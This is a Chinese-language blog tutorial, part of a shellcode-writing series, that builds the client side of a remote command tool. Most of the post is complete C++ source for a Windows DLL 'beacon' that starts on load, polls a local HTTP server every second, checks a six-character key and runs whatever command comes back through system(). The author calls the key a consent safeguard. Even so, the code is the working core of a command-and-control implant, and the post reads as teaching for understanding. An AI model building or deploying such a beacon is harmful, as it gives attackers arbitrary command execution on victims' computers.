[2022]填鸭式shellcode编写教程 (五) 客户端第一个指令 huoji shellcode 2022-09-09 519 次浏览 1 次点赞 是时候让客户端链接我们的服务端了! ### 确定需求 凡事先确定一下需求,根据上一章服务端的配置,我们客户端有如下需求: 1. 循环链接服务端 2. 校验服务端的密码是否正确 3. 执行服务端发送的指令 4. 返回回显给服务端 其中第四步本系列不再讨论留作家庭作业.我们来实现前三步 ### 循环链接服务端 我们为了简单,不用curl或者openssl这些巨大的蠕虫库,我们使用winhttp作为链接工具. 这里是一个简单的winhttp封装,只实现了get方法,至于post方法发回回显就只能当作作业了 ```cpp #define WINHTTP_STACK_LIMIT 64 typedef struct _winhttp_url_custom_stack { wchar_t szScheme[WINHTTP_STACK_LIMIT]; wchar_t szHostName[WINHTTP_STACK_LIMIT]; wchar_t szUserName[WINHTTP_STACK_LIMIT]; wchar_t szPassword[WINHTTP_STACK_LIMIT]; wchar_t szUrlPath[WINHTTP_STACK_LIMIT]; wchar_t szExtraInfo[WINHTTP_STACK_LIMIT]; } _winhttp_url_custom_stack; namespace Winhttp { auto initParams(URL_COMPONENTS* urlParams, _winhttp_url_custom_stack* inputParams) -> void { urlParams->dwStructSize = sizeof(URL_COMPONENTS); urlParams->lpszExtraInfo = inputParams->szExtraInfo; urlParams->lpszHostName = inputParams->szHostName; urlParams->lpszPassword = inputParams->szPassword; urlParams->lpszScheme = inputParams->szScheme; urlParams->lpszUrlPath = inputParams->szUrlPath; urlParams->lpszUserName = inputParams->szUserName; urlParams->dwExtraInfoLength = urlParams->dwHostNameLength = urlParams->dwPasswordLength = urlParams->dwSchemeLength = urlParams->dwUrlPathLength = urlParams->dwUserNameLength = WINHTTP_STACK_LIMIT; } auto Get(std::wstring url, void** outBuffer, size_t& outBufferSize) -> bool { _winhttp_url_custom_stack winHttpStack = {0}; URL_COMPONENTS urlParams = {0}; HINTERNET httpSession = 0, httpConnectHandle = 0, httpRequest = 0; initParams(&urlParams, &winHttpStack); void* buffer = nullptr; size_t bufferSize = 0; size_t readSize = 0; size_t realySize = 0; bool status = false; DWORD headBufferSize = sizeof(headBufferSize), headContextSize, headIndex = 0; do { auto httpStatus = WinHttpCrackUrl(url.c_str(), url.size(), ICU_DECODE, &urlParams); if (httpStatus == false) { break; } httpSession = WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0); if (httpSession == 0) { break; } httpConnectHandle = WinHttpConnect(httpSession, urlParams.lpszHostName, urlParams.nPort, 0); if (httpConnectHandle == 0) { break; } httpRequest = WinHttpOpenRequest( httpConnectHandle, L"GET", urlParams.lpszUrlPath, L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH); if (httpRequest == 0) { break; } if (WinHttpSendRequest(httpRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0) == false) { break; } if (WinHttpReceiveResponse(httpRequest, 0) == false) { break; } if (WinHttpQueryDataAvailable( httpRequest, reinterpret_cast(&realySize)) == false) { break; } buffer = malloc(realySize); if (buffer == nullptr) { break; } memset(buffer, 0, realySize); bufferSize = realySize; if (WinHttpReadData(httpRequest, buffer, realySize, reinterpret_cast(&realySize)) == false) { break; } status = true; } while (false); if (status) { *outBuffer = buffer; outBufferSize = bufferSize; } else { if (buffer != nullptr) { free(buffer); } } // close if (httpRequest != 0) { WinHttpCloseHandle(httpRequest); } if (httpConnectHandle != 0) { WinHttpCloseHandle(httpConnectHandle); } if (httpSession != 0) { WinHttpCloseHandle(httpSession); } return status; } } // namespace Winhttp ``` winhttp这块要注意一点: 调试的时候绝对不能在DLL_PROCESS_ATTACH使用,会造成死锁.原因不明,所以我们要新建一个线程启动.在shellcode中不存在这个问题 这是代码: ```cpp auto easyCreateThread(void* pFunctionAddress, void* pParams) -> HANDLE { return CreateThread( NULL, NULL, reinterpret_cast(pFunctionAddress), static_cast(pParams), NULL, NULL); } auto Work() -> void { easyCreateThread(reinterpret_cast(loopWork), nullptr); } ``` ### 循环请求服务端等待消息 在线程启动后,我们需要循环请求服务端的消息,为了避免快速请求导致拉闸,我们会每1秒请求一次. 此外,为了安全与合法,我们需要在客户端生成随机字符串作为key.只有服务端的key和客户端key对的上才能链接. 也就是说只有在客户端同意的情况下,服务端才能链接上客户端.否做就成了C2了: ```cpp namespace Auth { std::string localKey; auto strRand(int length) -> std::string { char tmp; std::string buffer; std::random_device rd; std::default_random_engine random(rd()); for (int i = 0; i < length; i++) { tmp = random() % 36; if (tmp < 10) { tmp += '0'; } else { tmp -= 10; tmp += 'A'; } buffer += tmp; } return buffer; } bool CheckPassword(std::string key) { return key == localKey; } void Init() { localKey = strRand(6); } } // namespace Auth ``` 我们将会生成6位的密码 ### 组装在一起 我们将之前的组合在一起: ```cpp void loopWork() { static const std::wstring cmdUrl = L"http://127.0.0.1:1887/api/v1/client/get_cmd"; Auth::Init(); printf("你的本地密钥是: %s 请不要随便分享给其他人\n", Auth::localKey.c_str()); do { void* buffer = nullptr; size_t bufferSize = 0; bool status = Winhttp::Get(cmdUrl, &buffer, bufferSize); if (status && buffer != nullptr) { std::string serverCmd = std::string(reinterpret_cast(buffer), bufferSize); if (serverCmd.size() > 0) { std::string key = serverCmd.substr(0, 6); if (Auth::CheckPassword(key)) { std::string cmd = serverCmd.substr(7, serverCmd.size()); printf("cmd: %s \n", cmd.c_str()); system(cmd.c_str()); } } free(buffer); } Sleep(1000); } while (true); } ``` ### 测试 启动客户端: ![](https://key08.com/usr/uploads/2022/09/2814136341.png) 在服务端的接口输入密码和要执行的代码后: ![](https://key08.com/usr/uploads/2022/09/585829246.png) 我们的客户端就执行了对应的代码了 ### 作业 1. 完成回显回报 2. 完成前端页面,输入代码显示回显 3. 加密密码,密码应该用hash而不是明文传输 ### 完整beacon代码 ```cpp // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" #define WINHTTP_STACK_LIMIT 64 typedef struct _winhttp_url_custom_stack { wchar_t szScheme[WINHTTP_STACK_LIMIT]; wchar_t szHostName[WINHTTP_STACK_LIMIT]; wchar_t szUserName[WINHTTP_STACK_LIMIT]; wchar_t szPassword[WINHTTP_STACK_LIMIT]; wchar_t szUrlPath[WINHTTP_STACK_LIMIT]; wchar_t szExtraInfo[WINHTTP_STACK_LIMIT]; } _winhttp_url_custom_stack; namespace Winhttp { auto initParams(URL_COMPONENTS* urlParams, _winhttp_url_custom_stack* inputParams) -> void { urlParams->dwStructSize = sizeof(URL_COMPONENTS); urlParams->lpszExtraInfo = inputParams->szExtraInfo; urlParams->lpszHostName = inputParams->szHostName; urlParams->lpszPassword = inputParams->szPassword; urlParams->lpszScheme = inputParams->szScheme; urlParams->lpszUrlPath = inputParams->szUrlPath; urlParams->lpszUserName = inputParams->szUserName; urlParams->dwExtraInfoLength = urlParams->dwHostNameLength = urlParams->dwPasswordLength = urlParams->dwSchemeLength = urlParams->dwUrlPathLength = urlParams->dwUserNameLength = WINHTTP_STACK_LIMIT; } auto Get(std::wstring url, void** outBuffer, size_t& outBufferSize) -> bool { _winhttp_url_custom_stack winHttpStack = {0}; URL_COMPONENTS urlParams = {0}; HINTERNET httpSession = 0, httpConnectHandle = 0, httpRequest = 0; initParams(&urlParams, &winHttpStack); void* buffer = nullptr; size_t bufferSize = 0; size_t readSize = 0; size_t realySize = 0; bool status = false; DWORD headBufferSize = sizeof(headBufferSize), headContextSize, headIndex = 0; do { auto httpStatus = WinHttpCrackUrl(url.c_str(), url.size(), ICU_DECODE, &urlParams); if (httpStatus == false) { break; } httpSession = WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0); if (httpSession == 0) { break; } httpConnectHandle = WinHttpConnect(httpSession, urlParams.lpszHostName, urlParams.nPort, 0); if (httpConnectHandle == 0) { break; } httpRequest = WinHttpOpenRequest( httpConnectHandle, L"GET", urlParams.lpszUrlPath, L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH); if (httpRequest == 0) { break; } if (WinHttpSendRequest(httpRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0) == false) { break; } if (WinHttpReceiveResponse(httpRequest, 0) == false) { break; } if (WinHttpQueryDataAvailable( httpRequest, reinterpret_cast(&realySize)) == false) { break; } buffer = malloc(realySize); if (buffer == nullptr) { break; } memset(buffer, 0, realySize); bufferSize = realySize; if (WinHttpReadData(httpRequest, buffer, realySize, reinterpret_cast(&realySize)) == false) { break; } status = true; } while (false); if (status) { *outBuffer = buffer; outBufferSize = bufferSize; } else { if (buffer != nullptr) { free(buffer); } } // close if (httpRequest != 0) { WinHttpCloseHandle(httpRequest); } if (httpConnectHandle != 0) { WinHttpCloseHandle(httpConnectHandle); } if (httpSession != 0) { WinHttpCloseHandle(httpSession); } return status; } } // namespace Winhttp namespace Auth { std::string localKey; auto strRand(int length) -> std::string { char tmp; std::string buffer; std::random_device rd; std::default_random_engine random(rd()); for (int i = 0; i < length; i++) { tmp = random() % 36; if (tmp < 10) { tmp += '0'; } else { tmp -= 10; tmp += 'A'; } buffer += tmp; } return buffer; } bool CheckPassword(std::string key) { return key == localKey; } void Init() { localKey = strRand(6); } } // namespace Auth namespace Beacon { void loopWork() { static const std::wstring cmdUrl = L"http://127.0.0.1:1887/api/v1/client/get_cmd"; Auth::Init(); printf("你的本地密钥是: %s 请不要随便分享给其他人\n", Auth::localKey.c_str()); do { void* buffer = nullptr; size_t bufferSize = 0; bool status = Winhttp::Get(cmdUrl, &buffer, bufferSize); if (status && buffer != nullptr) { std::string serverCmd = std::string(reinterpret_cast(buffer), bufferSize); if (serverCmd.size() > 0) { std::string key = serverCmd.substr(0, 6); if (Auth::CheckPassword(key)) { std::string cmd = serverCmd.substr(7, serverCmd.size()); printf("cmd: %s \n", cmd.c_str()); system(cmd.c_str()); } } free(buffer); } Sleep(1000); } while (true); } auto easyCreateThread(void* pFunctionAddress, void* pParams) -> HANDLE { return CreateThread( NULL, NULL, reinterpret_cast(pFunctionAddress), static_cast(pParams), NULL, NULL); } auto Work() -> void { easyCreateThread(reinterpret_cast(loopWork), nullptr); } } // namespace Beacon BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: Beacon::Work(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } ``` 本文由 huoji 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。 点赞 1
还不快抢沙发